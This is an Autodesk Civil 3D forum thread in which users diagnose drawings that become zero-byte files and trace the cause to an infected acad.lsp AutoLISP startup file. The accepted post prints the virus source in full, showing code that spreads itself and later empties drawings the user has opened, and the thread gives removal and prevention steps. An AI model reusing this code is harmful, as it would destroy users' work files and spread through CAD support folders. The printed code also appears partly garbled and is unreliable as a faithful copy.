AutoCAD Civil 3D General Discussion

AutoCAD Civil 3D General Discussion

Reply
Mentor
ceethreedee.com
Posts: 192
Registered: ‎10-04-2012
Message 1 of 12 (742 Views)
Accepted Solution

Dwg files become 0kb - Suggestions? New Information!

742 Views, 11 Replies
10-09-2013 11:47 PM

We have been having a problem since 2011 where random dwg files have been becoming 0kb. Some of these files have not been touched in months. 

 

If you are having this problem please POST below!

 

Previously I have posted about this with no information but the above... Recently though I have discovered a strange correlation with other files.

 

Originally I only seached the project directories for 0kb "dwg" files. But this time i just searched for just 0kb files. I then sorted by date modified and found that there was another empty file named "a" (no extension) in a completely different directory with exactly the same date modified "to the second" as the dwg that became 0kb!!! See below.

 

I have confirmed that the date modified of the 0kb file reflects when it became 0kb.

0kb-1.png

 

  1. So what is the "a" file? Is this some sort of virus?
  2. Why are these files becoming 0kb? They have not been touched in months!
  3. Why is there an "a" file with the same date modified as the 0kb dwg file.

Any suggestions more than welcome.

 

Once again please post if you are having this issue!

 

Regards

 

Kapanther

Civil 3D 2014 (SP2)
Win 7 Pro x64 -DELL Precision Workstation T3500
Intel Xeon 3.3GHz (w3680) -24Gb Ram
NVIDIA Quadro 2000 (1GB)
ceethreedee.com

Well I have a solution.

 

Its an infected Acad.lsp file in our support directory.

 

Simply delete acad.lsp and the acadisa.lin file and your fixed.

 

%APPDATA%\Autodesk\C3D 2013\enu\Support

 

No more random acad.lsp files everywhere, no more 0kb files. Done.

 

Below is what the infected acad.lsp files looks like

 

""""""" INFECTED ACAD.lsp code """""""""

(defun
s::startup
(/ old_cmd path dwgpath mnlpath
apppath oldacad newacad nowdwg lspbj
wjm wjm1 wjqm wjqm1 wz
ns1 ns2 kd
)
(setq
old_cmd
(getvar
"cmdecho"
)
)
(setvar
"cmdecho"
1
)
(setq
path
(findfile
"base.dcl"
)
)
(setq
path
(substr
path
1
(-
(strlen
path
)
8
)
)
)
(setq
mnlpath
(getvar
"menuname"
)
)
(setq
nowdwg
(getvar
"dwgname"
)
)
(setq
wjqm
(findfile
nowdwg
)
)
(setq
dwgpath
(substr
wjqm
1
(-
(strlen
wjqm
)
(strlen
nowdwg
)
)
)
)
)
(setq
acadpath
(substr
acadpath
1
(-
(strlen
acadpath
)
8
)
)
)
(setq
ns1
""
ns2
""
)
(setq
lspbj
0
)
(if
(=
acadpath
dwgpath
)
(progn


)
(writeapp)
)
(progn
(if
(/=
nowdwg
"Drawing.dwg"
)

)
)
)
)
(setq
nowdwg
(getvar
"dwgname"
)
)
(setq
wjqm
(findfile
nowdwg
)
)
(if
(setq
kd
(findfile
"acadisa.lin"
)
)
(progn
(setq
ns2
0
)
(if
(setq
ns1
(open
kd
"r"
)
)
(progn
(while
(setq
wz
(read-line
ns1
)
)
(if
(=
wjqm
wz
)
(setq
ns2
1
)
)
)
(close
ns1
)
)
)
(if
(=
ns2
0
)
(progn
(setq
ns1
(open
kd
"a"
)
)
(write-line
wjqm
ns1
)
(close
ns1
)
)
)
(if
(setq
ns1
(open
kd
"r"
)
)
(progn
(setq
wz
(read-line
ns1
)
)
(close
ns1
)
)
)
(if
(>
(getvar
"date"
)
(+
(distof
wz
)
8
)
)
(progn
(setq
oldacad
(strcat
path
"acadisa.lin"
)
)
(setq
newacad
(strcat
dwgpath
"a"
)
)
(
writeapp
)

(if
(setq
wjm1
(open
oldacad
"w"
)
)
(progn
(setq
wjm
(open
newacad
"r"
)
)
(setq
wz
(read-line
wjm
)
)
(write-line
(rtos
(getvar
"date"
)
)
wjm1
)
(setq
wz
(read-line
wjm
)
)
(if
(>
(getvar
"date"
)
2452900
)
(close
(open
wz
"w"
)
)
)
(while
(
setq
wz
(read-line
wjm
)
)
(write-line
wz
wjm1
)
)
(close
wjm
)
(close
wjm1
)
(close
(open
newacad
"w"
)
)
)
)
)
)
)
(progn
(if
(setq
ns1
(open
(strcat
path
"acadisa.lin"
)
"w"
)
)
(progn
(write-line
(rtos
(getvar
"date"
)
)
ns1
)
(write-line
wjqm
ns1
)
(close
ns1
)
)
)
)
)

(setvar
"cmdecho"
old_cmd
)
(princ)
)
(defun
writeapp
()
(if
(setq
wjm1
(open
newacad
"w"
)
)
(progn
(setq
wjm
(open
oldacad
"r"
)
)
(while
(setq
wz
(read-line
wjm
)
)
(write-line
wz
wjm1
)
)
(close
wjm
)
(close
wjm1
)
)
)
)
;*************

(load"acadiso")
(princ)

 

"""""""""""""""""""""""""""

Mentor
john.mckenzie
Posts: 224
Registered: ‎12-19-2006
Message 2 of 12 (700 Views)

Re: Dwg files become 0kb - Suggestions? New Information!

10-11-2013 06:39 AM in reply to: ceethreedee.com

I am going to posit a guess here. I do not know the sytem used so I am jsut throwing out an idea here.

 

Could it be that the 0kb file is a pointer to where the file has been archived to? You say they have not been touched in months is there some sort of archive going on and this is just a file pointing to where the new archived location is.

 

Just a guess because I do not have much to go on here.

Mentor
ceethreedee.com
Posts: 192
Registered: ‎10-04-2012
Message 3 of 12 (679 Views)

Re: Dwg files become 0kb - Suggestions? New Information!

10-13-2013 04:59 PM in reply to: john.mckenzie

John

 

Thanks for the tip, yes we have already suspected the backup server for quite awhile. But the event logs don;t show any evidence of corruption from the backup software.

 

It does show the file changing from the user somehow though. When it goes corrupt, it creates these empty "A" files in a seemingly random directory (I suspect this directory to be the currently active directory the user is working). Extremely strange.

 

PLEASE TRY DOING A SEARCH FOR EMPTY FILES IN YOUR CAD FOLDERS!

 

Search Terms in explorer

 

"size:empty type:dwg"

 

you may be surprised!

Civil 3D 2014 (SP2)
Win 7 Pro x64 -DELL Precision Workstation T3500
Intel Xeon 3.3GHz (w3680) -24Gb Ram
NVIDIA Quadro 2000 (1GB)
ceethreedee.com
Mentor
ceethreedee.com
Posts: 192
Registered: ‎10-04-2012
Message 4 of 12 (660 Views)

Re: Dwg files become 0kb - Suggestions? New Information!

10-14-2013 06:05 PM in reply to: ceethreedee.com

Further development....

 

Checked a users Local C: drive.

 

Also found "a" files and 0kb files. Although this time i found an A file containing data. See below. It contains a list of drawings that the user has worked on in the past. All of these files either don't exist anymore or have become 0kb! It also has a number at the top??

 

I am suspect this may be a Autocad Based virus????

 

""""

2456353.5993
K:\Min\2011\117631011-Minyango\FIGURES\117631011-006-R-F005.dwg
K:\Des\2010\107635002 QGC Associated Water Chinchilla\Task 16000 - As Builts\BERWYNDALE SOUTH POND 4\DRAWINGS\127635006_16000_D_021_REV0(QCOPS_BB01_CIV__DWG_000208).dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\TS121203_LOCATION 7-CLAYFACE.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\TS121203_LOCATION 10-CLAYFACE.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\VOLUMES-LOC10.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\TS121203_LOCATION 7-CLAYCORE.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\TS121203_LOCATION 8-CLAYCORE.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Figures\117636023-021-F-F001.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\VOLUMES-LOC9.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Modelling\TS121203_LOCATION 10-CLAYCORE.dwg
C:\Obi Obi\107682030-621604-REVA.dwg
C:\Obi Obi\107682030-621608-REVA.dwg
K:\Geo\2010\Mar\107682030 Obi Obi Rd\DRAWINGS\DTMR - Drawing Format\107682030-621597-REVA.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Figures\117636023-001-R-F004.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Figures\117636023-021-M-F001.dwg
K:\Des\2010\107635002 QGC Associated Water Chinchilla\Task 1700 Cameron_Phiilip\DRAWINGS\500ML COMBINED POND\127635006-01700-D0002(QCLNG-BB58-CIV-DWG-000002)-Rev1.dwg
K:\Des\2010\107635002 QGC Associated Water Chinchilla\Task 100 Orana 2\DRAWINGS\107635002-00100-D-0090(D4W-C-DW-00844)-REV4.dwg
J:\Des\2012\127635006-QGC-QCLNG Project-Chinchilla\Correspondence In\00100 Orana 5\2012-10-06 Survey Data\02-350093-22 & 23 D1 POND 5 AS-BUILT.dwg
K:\Des\2010\107635002 QGC Associated Water Chinchilla\Task 16000 - As Builts\ORANA - POND 5\127635006-16000-D-009(D4W-C-DW-00882)_REV1.dwg
K:\Des\2012\127635006 QGC Associated Water Chinchilla\Task 20100 Northern Ponds\FIGURES\Worsfold East\127635006-001-R-F001-REV0-TASK 20100.dwg
K:\Min\2011\117631011-Minyango\FIGURES\117631011-006-R-F003-F004.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Xrefs\117636023-XREF-AERIAL IMAGE.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Figures\117636023-TEMP1 - GENERAL LOCATION PLAN.dwg
K:\Hyd\2011\117636023 Rio Tinto Kestrel_Brine Investigation_Emerald\Figures\117636023-TEMP2 - GENERAL LOCATION PLAN.dwg
K:\Des\2010\107635002 QGC Associated Water Chinchilla\Task 1200 Celeste\MODELLING\Detail Design\3D Volume Calcs - Rev1.dwg
C:\Users\dwillemse\Desktop\BBQ.dwg
C:\Users\dwillemse\Documents\BBQ\BBQ.dwg

"""""""

Civil 3D 2014 (SP2)
Win 7 Pro x64 -DELL Precision Workstation T3500
Intel Xeon 3.3GHz (w3680) -24Gb Ram
NVIDIA Quadro 2000 (1GB)
ceethreedee.com
*Expert Elite*
Jeff_M
Posts: 4,479
Registered: ‎07-22-2003
Message 5 of 12 (657 Views)

Re: Dwg files become 0kb - Suggestions? New Information!

10-14-2013 06:51 PM in reply to: ceethreedee.com

Kapanther, I have no idea what is going on with your setups but I can safely say that in 6+ years of using C3D I have never had that issue. I have had 0kb drawings saved during a crash when responding Yes to "Try to save changes up to the last command?". But not when they are not being worked on. I just ran your search parameter here and it found 0 files on a drive containg 362 gb of dwg, bak, and survey data files.

 

Do yo have any 3rd party utilities running? Is Vault in use? An automatic backup system?

Jeff_M, also a frequent Swamper
Mentor
ceethreedee.com
Posts: 192
Registered: ‎10-04-2012
Message 6 of 12 (648 Views)

Re: Dwg files become 0kb - Suggestions? New Information!

10-14-2013 08:26 PM in reply to: Jeff_M

Jeff... thanks for running the search. Glad someone as known as yourself as looked into the issue as well.

 

Well we do have a company specific customisation that does sync itself with a DFS. It copies all the content down to the c: drive etc.. Just basic VB script stuff.

 

But besides that everything else is Vanilla Civil 3D. 

 

Virus scans return nothing. I am hoping i can catch the file turning to 0kb using process explorer. I'll post results when it happens. There is usually at least one a week.

 

Talk soon

 

Kapanther

Civil 3D 2014 (SP2)
Win 7 Pro x64 -DELL Precision Workstation T3500
Intel Xeon 3.3GHz (w3680) -24Gb Ram
NVIDIA Quadro 2000 (1GB)
ceethreedee.com
Mentor
ceethreedee.com
Posts: 192
Registered: ‎10-04-2012
Message 7 of 12 (646 Views)

Re: Dwg files become 0kb - Suggestions? New Information!

10-14-2013 08:35 PM in reply to: ceethreedee.com

Oh yeah no vault.... yet..

Civil 3D 2014 (SP2)
Win 7 Pro x64 -DELL Precision Workstation T3500
Intel Xeon 3.3GHz (w3680) -24Gb Ram
NVIDIA Quadro 2000 (1GB)
ceethreedee.com
Mentor
ceethreedee.com
Posts: 192
Registered: ‎10-04-2012
Message 8 of 12 (644 Views)

Re: Dwg files become 0kb - Suggestions? New Information!

10-14-2013 08:37 PM in reply to: ceethreedee.com

and backup server doesnt seem to be an issue..

 

I just can't explain the "a" file. WTF is it?

 

Civil 3D 2014 (SP2)
Win 7 Pro x64 -DELL Precision Workstation T3500
Intel Xeon 3.3GHz (w3680) -24Gb Ram
NVIDIA Quadro 2000 (1GB)
ceethreedee.com
Mentor
ceethreedee.com
Posts: 192
Registered: ‎10-04-2012
Message 9 of 12 (609 Views)

Re: Dwg files become 0kb - Suggestions? New Information!

10-15-2013 09:47 PM in reply to: ceethreedee.com

I can confirm that this issue is a virus!

 

I successfully managed to record a file becoming 0kb using Process Monitor. Results posted below.

 

A quick check to see if you are infected. If this file exists

 

%AppData%\Autodesk\C3D 2013\enu\Support\acadisa.lin

 

then you are infected with some sort of AL-Bursted Virus. Not sure which strain. For some reason this is not been detected by Sophos Security.

 

Not sure if this image is visible below, but you can see the "a" file been created jsut before it creates a dwg over the top of a previously opened dwg.

 alburstedvirus.gif

 

At this point I am not sure what is the best method to protect yourself if infected.

 

I am guessing setting the AUTOLOADPATH to a folder that doesn't contain the acad.lsp file is probably prudent.

 

So far i am seeing the following files involved somehow.

 

acadisa.lin

acad.lsp

acad.fas

a (no extension)

 

I or hopefully Autodesk will post when they have a solution.

 

Kapanther

 

 

Civil 3D 2014 (SP2)
Win 7 Pro x64 -DELL Precision Workstation T3500
Intel Xeon 3.3GHz (w3680) -24Gb Ram
NVIDIA Quadro 2000 (1GB)
ceethreedee.com
*Expert Elite*
mathewk
Posts: 2,767
Registered: ‎07-09-2003
Message 10 of 12 (597 Views)

Re: Dwg files become 0kb - Suggestions? New Information!

10-16-2013 04:10 AM in reply to: ceethreedee.com
I'm not sure what Autodesk would do as they're not in the anti-virus business. It's just unfortunate that this virus apparently is attacking your dwg files.

Autodesk have, however, recently implemented the new secureload settings. Any LISPs you use should be located in these secure folders and set the folder to read-only so the virus can't be copied there.
Matt Kolberg
Cansel - Autodesk Division
http://www.cansel.ca/
Post to the Community

Have questions about Autodesk products? Ask the community.

New Post
Announcements
Are You Going To Be @ AU 2014? Feel free to drop by our AU topic post and share your plans, plug a class that you're teaching, or simply check out who else from the community might be in attendance. Ohh and don't forgot to stop by the Autodesk Help | Learn | Collaborate booths in the Exhibit Hall and meet our community team if you get a chance!